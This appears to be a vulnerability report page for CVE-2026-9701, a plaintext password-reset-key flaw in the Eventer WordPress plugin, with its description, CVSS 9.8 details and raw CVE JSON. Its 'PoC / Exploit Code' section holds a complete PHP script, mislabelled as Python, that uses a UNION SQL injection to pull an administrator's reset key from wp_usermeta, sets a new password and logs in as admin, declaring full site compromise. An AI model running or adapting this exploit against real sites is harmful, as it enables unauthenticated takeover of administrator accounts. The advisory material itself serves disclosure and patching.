Security Vulnerability Report
中文
CVE-2026-9701 CVSS 9.8 CRITICAL

CVE-2026-9701

Published: 2026-07-08 05:16:29
Last Modified: 2026-07-08 18:16:36

Description

The Eventer plugin for WordPress is vulnerable to an insecure password reset mechanism in all versions up to, and including, 4.4.2. The plugin stores a plaintext copy of the password reset key in the `eventer_verification_code` user meta field when a user requests a password reset. The plaintext key stored in `wp_usermeta` can be used with the plugin's custom reset action to set a new password for any user. Combined with another vulnerability such as SQL Injection (CVE-2026-9700), this makes it possible for unauthenticated attackers to extract the plaintext reset key and take over any user account, including administrators. Note: The password reset function only works up to PHP version 7.4.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Eventer WordPress Plugin < 4.4.2
Eventer WordPress Plugin <= 4.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-9701 - Eventer Plugin Insecure Password Reset Mechanism * Combined with CVE-2026-9700 (SQL Injection) for full account takeover * * This PoC demonstrates how an unauthenticated attacker can: * 1. Use SQL Injection (CVE-2026-9700) to extract plaintext reset keys * 2. Use the extracted key to reset any user's password via custom reset action */ // Step 1: Extract plaintext password reset key via SQL Injection (CVE-2026-9700) // Target: wp_usermeta table, meta_key = 'eventer_verification_code' function extract_reset_key($target_user_id, $sqli_endpoint) { // SQL Injection payload to extract eventer_verification_code // Example: UNION SELECT meta_value FROM wp_usermeta WHERE meta_key='eventer_verification_code' AND user_id=$target_user_id $payload = "1' UNION SELECT meta_value FROM wp_usermeta WHERE meta_key='eventer_verification_code' AND user_id=$target_user_id-- -"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $sqli_endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['param' => $payload])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Parse the reset key from the response return trim($response); } // Step 2: Use the extracted reset key to reset the target user's password function reset_user_password($site_url, $user_id, $reset_key, $new_password) { // Eventer plugin's custom reset action endpoint $reset_endpoint = $site_url . "/?eventer_action=reset_password"; $data = [ 'user_id' => $user_id, 'code' => $reset_key, // Plaintext reset key extracted from DB 'password' => $new_password, 'confirm_password' => $new_password ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $reset_endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); return $response; } // Main exploit flow $target_site = "http://target-wordpress-site.com"; $sqli_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php"; $admin_id = 1; // Administrator user ID $new_pass = "Pwned!123"; // Step 1: Extract plaintext reset key via SQLi $reset_key = extract_reset_key($admin_id, $sqli_url); echo "[+] Extracted reset key: $reset_key\n"; // Step 2: Reset administrator password $result = reset_user_password($target_site, $admin_id, $reset_key, $new_pass); echo "[+] Password reset result: $result\n"; echo "[+] Admin password has been changed to: $new_pass\n"; // Step 3: Login as administrator $login_url = $target_site . "/wp-login.php"; $login_data = [ 'log' => 'admin', 'pwd' => $new_pass, 'wp-submit' => 'Log In', 'redirect_to' => $target_site . '/wp-admin/', 'testcookie' => '1' ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt'); curl_exec($ch); curl_close($ch); echo "[+] Logged in as administrator. Full site compromise achieved.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9701", "sourceIdentifier": "[email protected]", "published": "2026-07-08T05:16:28.977", "lastModified": "2026-07-08T18:16:35.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Eventer plugin for WordPress is vulnerable to an insecure password reset mechanism in all versions up to, and including, 4.4.2. The plugin stores a plaintext copy of the password reset key in the `eventer_verification_code` user meta field when a user requests a password reset. The plaintext key stored in `wp_usermeta` can be used with the plugin's custom reset action to set a new password for any user. Combined with another vulnerability such as SQL Injection (CVE-2026-9700), this makes it possible for unauthenticated attackers to extract the plaintext reset key and take over any user account, including administrators. Note: The password reset function only works up to PHP version 7.4."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "joe007", "product": "Eventer", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "4.4.2", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-08T13:47:48.350133Z", "id": "CVE-2026-9701", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-289"}]}], "references": [{"url": "https://codecanyon.net/item/eventer-wordpress-event-manager-plugin/20972534", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bc656765-1eac-4a96-99e9-c22d64984923?source=cve", "source": "[email protected]"}]}}